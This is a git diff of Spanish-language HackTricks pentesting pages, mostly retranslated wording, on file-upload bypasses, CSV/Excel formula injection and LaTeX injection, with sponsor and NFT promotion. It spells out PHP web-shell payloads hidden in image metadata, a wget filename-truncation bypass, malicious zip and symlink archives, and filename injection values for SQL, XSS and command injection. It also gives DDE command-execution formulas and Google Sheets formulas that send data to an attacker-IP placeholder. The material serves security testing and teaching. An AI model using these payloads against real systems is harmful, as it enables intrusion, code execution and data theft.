AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Crea el payload
@ -79,17 +79,17 @@ AAA<--SNIP 232 A-->AAA.php.png
### Saltar Content-Type, Número Mágico, Compresión y Redimensionamiento
* Saltar las comprobaciones de **Content-Type** estableciendo el **valor** del **encabezado Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
1. Lista de **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Saltar la comprobación de **número mágico** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introducir el shell dentro de los **metadatos**:\
* Salta las comprobaciones de **Content-Type** configurando el **valor** del **encabezado Content-Type** a: _image/png_ , _text/plain , application/octet-stream_
1. **Lista de Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Salta la comprobación de **número mágico** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\
`exiftool -Comment="<?php echo 'Comando:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` o también podrías **introducir directamente el payload** en una imagen:\
`\` o también podrías **introducir el payload directamente** en una imagen:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Si se está agregando **compresión a tu imagen**, por ejemplo usando algunas bibliotecas PHP estándar como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar el **chunk PLTE** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobrevivirá a la compresión**.
* Si se está **agregando compresión a tu imagen**, por ejemplo usando algunas bibliotecas PHP estándar como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar el **chunk PLTE** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* La página web también podría estar **redimensionando** la **imagen**, utilizando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **chunk IDAT** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobrevivirá a la compresión**.
* La página web también podría estar **redimensionando** la **imagen**, utilizando por ejemplo las funciones PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **chunk IDAT** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Otra técnica para crear un payload que **sobreviva a un redimensionamiento de imagen**, utilizando la función PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobrevivirá a la compresión**.
* Otra técnica para crear un payload que **sobreviva a un redimensionamiento de imagen**, utilizando la función PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar texto que **sobrevivirá a la compresión**.
* [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
### Otros Trucos para Verificar
@ -99,20 +99,20 @@ AAA<--SNIP 232 A-->AAA.php.png
* **Posible divulgación de información**:
1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
3. Subir un archivo con **“.”, “..”, o “…” como su nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio “/www/uploads/”, el nombre de archivo “.” creará un archivo llamado “uploads” en el directorio “/www/”.
3. Subir un archivo con **“.”, “..”, o “…” como nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio “/www/uploads/”, el nombre de archivo “.” creará un archivo llamado “uploads” en el directorio “/www/”.
4. Sube un archivo que no se pueda eliminar fácilmente como **“…:.jpg”** en **NTFS**. (Windows)
5. Sube un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
6. Sube un archivo en **Windows** usando **nombres** **reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 y LPT9.
* También intenta **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** al ser abierto accidentalmente por la víctima.
6. Sube un archivo en **Windows** usando **nombres reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 y LPT9.
* También intenta **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecutará código** al abrirlo accidentalmente por la víctima.
### Trucos especiales de extensiones
Si estás intentando subir archivos a un servidor **PHP**, [echa un vistazo al truco de **.htaccess** para ejecutar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Si estás intentando subir archivos a un servidor **ASP**, [echa un vistazo al truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Si estás intentando subir archivos a un servidor **PHP**, [echa un vistazo al truco **.htaccess** para ejecutar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Si estás intentando subir archivos a un servidor **ASP**, [echa un vistazo al truco **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Los archivos `.phar` son como los archivos `.jar` para Java, pero para PHP, y pueden ser **usados como un archivo PHP** (ejecutándolo con PHP, o incluyéndolo dentro de un script...)
La extensión `.inc` a veces se usa para archivos PHP que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido que **esta extensión se ejecute**.
La extensión `.inc` a veces se usa para archivos PHP que solo se utilizan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido **ejecutar esta extensión**.
## **RCE de Jetty**
@ -146,12 +146,12 @@ characters = @(call://uwsgi_func)
```
La ejecución de la carga útil ocurre durante el análisis del archivo de configuración. Para que la configuración se active y se analice, el proceso uWSGI debe reiniciarse (potencialmente después de un fallo o debido a un ataque de denegación de servicio) o el archivo debe configurarse para recargar automáticamente. La función de recarga automática, si está habilitada, recarga el archivo en intervalos especificados al detectar cambios.
Es crucial entender la naturaleza laxa del análisis de archivos de configuración de uWSGI. Específicamente, la carga útil discutida puede insertarse en un archivo binario (como una imagen o PDF), ampliando aún más el alcance de la posible explotación.
Es crucial entender la naturaleza laxa del análisis de archivos de configuración de uWSGI. Específicamente, la carga útil discutida puede ser insertada en un archivo binario (como una imagen o PDF), ampliando aún más el alcance de la posible explotación.
## **Truco de Subida de Archivos/SSRF con wget**
En algunas ocasiones, puede descubrir que un servidor está utilizando **`wget`** para **descargar archivos** y puede **indicar** la **URL**. En estos casos, es posible que el código esté verificando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se descarguen archivos permitidos. Sin embargo, **esta verificación puede eludirse**.\
La **longitud máxima** de un **nombre de archivo** en **Linux** es de **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puede **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **eludirá** la **verificación** (como en este ejemplo **".gif"** es una extensión **válida**) pero `wget` renombrará el archivo a **"A"\*232+".php"**.
En algunas ocasiones, puede descubrir que un servidor está utilizando **`wget`** para **descargar archivos** y puede **indicar** la **URL**. En estos casos, es posible que el código esté verificando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurar que solo se descarguen archivos permitidos. Sin embargo, **esta verificación puede ser eludida**.\
La **longitud máxima** de un **nombre de archivo** en **Linux** es de **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puede **descargar un archivo llamado "A"\*232+".php"+".gif"**, este nombre de archivo **burlará** la **verificación** (como en este ejemplo **".gif"** es una extensión **válida**) pero `wget` renombrará el archivo a **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -174,7 +174,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Ten en cuenta que **otra opción** que puedes estar considerando para evadir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial evite la verificación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
Ten en cuenta que **otra opción** que puedes estar considerando para evadir esta verificación es hacer que el **servidor HTTP redirija a un archivo diferente**, de modo que la URL inicial evadirá la verificación y luego wget descargará el archivo redirigido con el nuevo nombre. Esto **no funcionará** **a menos que** wget se esté utilizando con el **parámetro** `--trust-server-names` porque **wget descargará la página redirigida con el nombre del archivo indicado en la URL original**.
## Herramientas
@ -187,11 +187,11 @@ Ten en cuenta que **otra opción** que puedes estar considerando para evadir est
* Establece el **nombre de archivo** como `sleep(10)-- -.jpg` y podrías lograr una **inyección SQL**
* Establece el **nombre de archivo** como `<svg onload=alert(document.domain)>` para lograr un XSS
* Establece el **nombre de archivo** como `; sleep 10;` para probar alguna inyección de comandos (más [trucos de inyección de comandos aquí](../command-injection.md))
* [**XSS** en la carga de archivos de imagen (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* [**XSS** en carga de archivos de imagen (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Carga de archivo **JS** + **XSS** = [Explotación de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE en carga de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Redirección abierta** al cargar archivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Prueba **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* Prueba con **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Famosa vulnerabilidad de **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Si puedes **indicar al servidor web que capture una imagen desde una URL** podrías intentar abusar de un [SSRF](../ssrf-server-side-request-forgery/). Si esta **imagen** va a ser **guardada** en algún sitio **público**, también podrías indicar una URL desde [https://iplogger.org/invisible/](https://iplogger.org/invisible/) y **robar información de cada visitante**.
* [**XXE y CORS** evasión con carga de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
@ -229,7 +229,7 @@ Si puedes cargar un ZIP que se va a descomprimir dentro del servidor, puedes hac
#### Enlace simbólico
Carga un enlace que contenga enlaces simbólicos a otros archivos, luego, accediendo a los archivos descomprimidos accederás a los archivos vinculados:
Carga un enlace que contenga enlaces simbólicos a otros archivos, luego, accediendo a los archivos descomprimidos accederás a los archivos enlazados:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -246,7 +246,7 @@ python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Además, el **truco del enlace simbólico con evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, se debe crear un enlace simbólico a ese archivo en su sistema. Esto garantiza que evilarc no encuentre errores durante su operación.
Además, la **treta de enlace simbólico con evilarc** es una opción. Si el objetivo es apuntar a un archivo como `/flag.txt`, se debe crear un enlace simbólico a ese archivo en su sistema. Esto garantiza que evilarc no encuentre errores durante su operación.
A continuación se muestra un ejemplo de código Python utilizado para crear un archivo zip malicioso:
```python
@ -268,7 +268,7 @@ create_zip()
```
**Abuso de compresión para rociado de archivos**
Para más detalles **consulte la publicación original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
Para más detalles **consulta la publicación original en**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creación de un Shell en PHP**:
@ -295,6 +295,12 @@ Los nombres de los archivos dentro del zip se alteran usando vi o un editor hexa
:%s/xxA/..\//g
:x!
```
## ImageTragic
Carga este contenido con una extensión de imagen para explotar la vulnerabilidad **(ImageMagick , 7.0.1-1)**
(desde el [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -313,9 +319,9 @@ Más información en: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
Los archivos políglotos sirven como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un híbrido que funciona tanto como un GIF como un archivo RAR. Estos archivos no se limitan a esta combinación; combinaciones como GIF y JS o PPT y JS también son factibles.
La utilidad principal de los archivos políglotos radica en su capacidad para evadir medidas de seguridad que examinan archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivos para cargar, como JPEG, GIF o DOC, para mitigar el riesgo planteado por formatos potencialmente dañinos (por ejemplo, JS, PHP o archivos Phar). Sin embargo, un polígloto, al cumplir con los criterios estructurales de múltiples tipos de archivos, puede evadir estas restricciones sigilosamente.
La utilidad principal de los archivos políglotos radica en su capacidad para evadir medidas de seguridad que examinan archivos según su tipo. La práctica común en varias aplicaciones implica permitir solo ciertos tipos de archivos para cargar, como JPEG, GIF o DOC, para mitigar el riesgo planteado por formatos potencialmente dañinos (por ejemplo, archivos JS, PHP o Phar). Sin embargo, un polígloto, al cumplir con los criterios estructurales de múltiples tipos de archivo, puede evadir estas restricciones sigilosamente.
A pesar de su adaptabilidad, los políglotos encuentran limitaciones. Por ejemplo, aunque un polígloto pueda encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga puede depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto con las extensiones permitidas, la mera dualidad estructural de un polígloto puede no ser suficiente para garantizar su carga.
A pesar de su adaptabilidad, los políglotos encuentran limitaciones. Por ejemplo, aunque un polígloto pueda encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su carga puede depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto en cuanto a las extensiones permitidas, la mera dualidad estructural de un polígloto puede no ser suficiente para garantizar su carga.
Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -330,7 +336,7 @@ Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**! ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -340,10 +346,10 @@ Más información en: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,12 +2,12 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -16,12 +16,12 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -9,8 +9,8 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -26,7 +26,7 @@ Encuentra vulnerabilidades que importan más para que puedas solucionarlas más
### Información
Si tu **entrada** se está **reflejando** dentro de archivos **CSV** (o cualquier otro archivo que probablemente se abrirá en **Excel**), es posible que puedas insertar **fórmulas de Excel** que se **ejecutarán** cuando el usuario **abra el archivo** o cuando el usuario **haga clic en algún enlace** dentro de la hoja de cálculo de Excel.
Si tu **entrada** se está **reflejando** dentro de **archivos CSV** (o cualquier otro archivo que probablemente se abrirá en **Excel**), es posible que puedas insertar **fórmulas de Excel** que se **ejecutarán** cuando el usuario **abra el archivo** o cuando el usuario **haga clic en algún enlace** dentro de la hoja de cálculo de Excel.
{% hint style="danger" %}
Hoy en día, **Excel alertará** (varias veces) al **usuario cuando algo se carga desde fuera de Excel** para evitar que realice acciones maliciosas. Por lo tanto, se debe aplicar un esfuerzo especial en Ingeniería Social para la carga final.
@ -47,15 +47,15 @@ DDE ("cmd";"/C calc";"!A0")A0
El siguiente ejemplo fue tomado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Imagina una brecha de seguridad en un sistema de Gestión de Registros de Estudiantes que es explotada a través de un ataque de inyección de CSV. La intención principal del atacante es comprometer el sistema utilizado por los profesores para gestionar los detalles de los estudiantes. El método implica que el atacante inyecte una carga maliciosa en la aplicación, específicamente ingresando fórmulas dañinas en campos destinados para los detalles de los estudiantes. El ataque se desarrolla de la siguiente manera:
Imagina una brecha de seguridad en un sistema de Gestión de Registros de Estudiantes que es explotada a través de un ataque de inyección de CSV. La intención principal del atacante es comprometer el sistema utilizado por los profesores para gestionar los detalles de los estudiantes. El método implica que el atacante inyecte un payload malicioso en la aplicación, específicamente ingresando fórmulas dañinas en campos destinados para los detalles de los estudiantes. El ataque se desarrolla de la siguiente manera:
1. **Inyección de Carga Maliciosa:**
1. **Inyección de Payload Malicioso:**
- El atacante envía un formulario de detalles de estudiante pero incluye una fórmula comúnmente utilizada en hojas de cálculo (por ejemplo, `=HYPERLINK("<enlace_malicioso>","Haz clic aquí")`).
- Esta fórmula está diseñada para crear un hipervínculo, pero apunta a un servidor malicioso controlado por el atacante.
2. **Exportación de Datos Comprometidos:**
- Los profesores, sin ser conscientes del compromiso, utilizan la funcionalidad de la aplicación para exportar los datos a un archivo CSV.
- Cuando se abre el archivo CSV, todavía contiene la carga maliciosa. Esta carga aparece como un hipervínculo clickeable en la hoja de cálculo.
- Cuando se abre el archivo CSV, todavía contiene el payload malicioso. Este payload aparece como un hipervínculo clickeable en la hoja de cálculo.
3. **Desencadenando el Ataque:**
- Un profesor hace clic en el hipervínculo, creyendo que es una parte legítima de los detalles del estudiante.
@ -74,7 +74,7 @@ En configuraciones específicas o versiones antiguas de Excel, una característi
- Navega a Archivo → Opciones → Centro de Confianza → Configuración del Centro de Confianza → Contenido Externo, y habilita **Lanzamiento del Servidor de Intercambio Dinámico de Datos**.
Cuando se abre una hoja de cálculo con la carga maliciosa (y si el usuario acepta las advertencias), la carga se ejecuta. Por ejemplo, para abrir la aplicación de calculadora, la carga sería:
Cuando se abre una hoja de cálculo con el payload malicioso (y si el usuario acepta las advertencias), el payload es ejecutado. Por ejemplo, para lanzar la aplicación de calculadora, el payload sería:
```markdown
`=cmd|' /C calc'!xxx`
```
@ -102,9 +102,10 @@ Google Sheets ofrece funciones que pueden ser explotadas para la exfiltración d
- **IMPORTRANGE**: Importa un rango de celdas de otra hoja de cálculo - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID_de_Hoja]", "hoja1!A2:E2")`
- **IMAGE**: Inserta una imagen en una celda - `=IMAGE("https://<IP del atacante:Puerto>/images/srpr/logo3w.png")`
## Inyección de LaTeX
Por lo general, los servidores que se encuentran en internet y que **convierten código LaTeX a PDF** utilizan **`pdflatex`**.\
Por lo general, los servidores que se encuentran en internet que **convierten código LaTeX a PDF** utilizan **`pdflatex`**.\
Este programa utiliza 3 atributos principales para (des)habilitar la ejecución de comandos:
* **`--no-shell-escape`**: **Deshabilita** la construcción `\write18{comando}`, incluso si está habilitada en el archivo texmf.cnf.
@ -216,7 +217,7 @@ Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,50 +2,62 @@
<details>
